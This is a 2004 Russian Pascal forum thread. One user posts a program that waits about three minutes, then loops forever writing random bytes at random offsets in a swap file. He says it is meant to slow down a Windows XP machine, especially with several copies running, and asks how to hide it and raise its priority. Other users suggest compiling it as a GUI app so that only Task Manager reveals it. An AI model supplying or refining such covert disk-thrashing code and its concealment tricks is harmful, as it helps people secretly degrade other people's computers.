Помощь - Поиск - Пользователи - Календарь
Полная версия: драйверочек-тормозочек
Форум «Всё о Паскале» > Современный Паскаль и другие языки > Free Pascal, Pascal ABC и другие
SKVOZNJAK
13.12.2004 6:37
Код

USES CRT, DOS;


VAR
Q3,W3: BYTE;
Q2,W2: LONGINT;
Q7:    FILE;
QQQ:   ARRAY[1..100000] OF BYTE;
DirIn : SearchRec;
LABEL 1;


BEGIN
DELAY(60000);
DELAY(60000);
DELAY(60000);

RANDOMIZE;
ASSIGN(Q7,'KBJ.SWP');
FindFirst('KBJ.SWP', AnyFile, DirIn);
IF  DosError=0 THEN ERASE(Q7);
Rewrite(Q7,1);

1:
FOR W2:=1 TO 20000 DO BEGIN
Q2:=RANDOM(80000000);
SEEK(Q7,Q2);
Q3:=RANDOM(256);
FOR W3:=1 TO 200 DO BLOCKWRITE(Q7,Q3,1);
                   END;
BLOCKWRITE(Q7,QQQ,100000);
GOTO 1;
CLOSE(Q7);
END.




Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект smile.gif Как сделать чтобы и значка на экране видно не было, а заодно и увеличить приоритет проги.
Romtek
15.12.2004 2:24
Как понять: "Компилится под вин32" ? Турбо Паскаль не компилит под Win32, только Real mode. Тогда зачем создавать тему в этом разделе ?

Или ты компилишь в другом компиляторе (FPC/TMT/VP/GPC) ? Почему пишешь "USES CRT, DOS;", а не "Windows" ?

Цитата(SKVOZNJAK)
Как сделать чтобы и значка на экране видно не было, а заодно и увеличить приоритет проги.
Кажется, SetPriority (не помню точно).
Вообще, смотреть надо справочник по WinAPI.
Altair
16.12.2004 13:58
Цитата
Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект  Как сделать чтобы и значка на экране видно не было,

А почему бы не компилировать с директивами для графического приложения? Так получается консольное, и консоль все равно будет на экране, а если приложение скомпилировать под граф. режим, то при отсутсвии в нем окон, вообще определеить то, что программа работает можно будет лишь посмотрев менеджер задач (CTRL+ALT+DEL)...

smile.gif
SKVOZNJAK
16.12.2004 20:36
Цитата(romtek @ 14.12.04 19:24)
Как понять: "Компилится под вин32" ? Турбо Паскаль не компилит под Win32, только Real mode. Тогда зачем создавать тему в этом разделе ?

Или ты компилишь в другом компиляторе (FPC/TMT/VP/GPC) ? Почему пишешь "USES CRT, DOS;", а не "Windows" ?


Здравствуйте, я ваша 32 битная Тётя Ася! Продаю улучшеный хеден шолдерс - отбеливает перхоть на раз, и никакого запаха !!! Уж сколько обсуждали, тормозили, почти год ждали топик под 32 битный паскаль, а почти никто ничего не слышал и не понял smile.gif
Борланд Паскаль компилит ещё и под ПМ и вынь. А вот наш дорогой и горячё любимый халявный FPC, которому за неимением достойной альтернативы, и посвящён данный раздел, создаёт кроссплатформенные проги. Можно было б под дос или беос откомпилить, но работать ЭТО должно под ХРюшей. И так, чтобы ей мало не показалось ;)
Romtek
17.12.2004 4:15
SKVOZNJAK, скажи, а эта программа что-то путное делает? huh.gif
И на мой вопрос
Цитата
Почему пишешь "USES CRT, DOS;", а не "Windows" ?
ты так и не ответил.
Замени на "DOS" на "Windows".
Delay() лучше заменить на Sleep () - не кушает процессорное время.
Dark
17.12.2004 5:22
ХЫХЫХЫХЫХЫХЫХ

суть ее работы в том и заключается - чтобы тормозить
SKVOZNJAK
18.12.2004 19:53
Цитата(Oleg_Z @ 16.12.04 6:58)
А почему бы  не компилировать с директивами для графического приложения?

Я не использовал режим совместимости с предыдущими версиями паскалей, а в этом ни одна директива компилятора не проходит sad.gif Приведи работающий пример проги с какой-нибудь директивой.
Romtek
19.12.2004 14:56
Какая версия компилятора?
Пробуй

Код
{$IFDEF FPC}
{$APPTYPE GUI}
{$ENDIF}

Uses Windows;

begin
end.
Это текстовая версия — только основной контент. Для просмотра полной версии этой страницы, пожалуйста, нажмите сюда.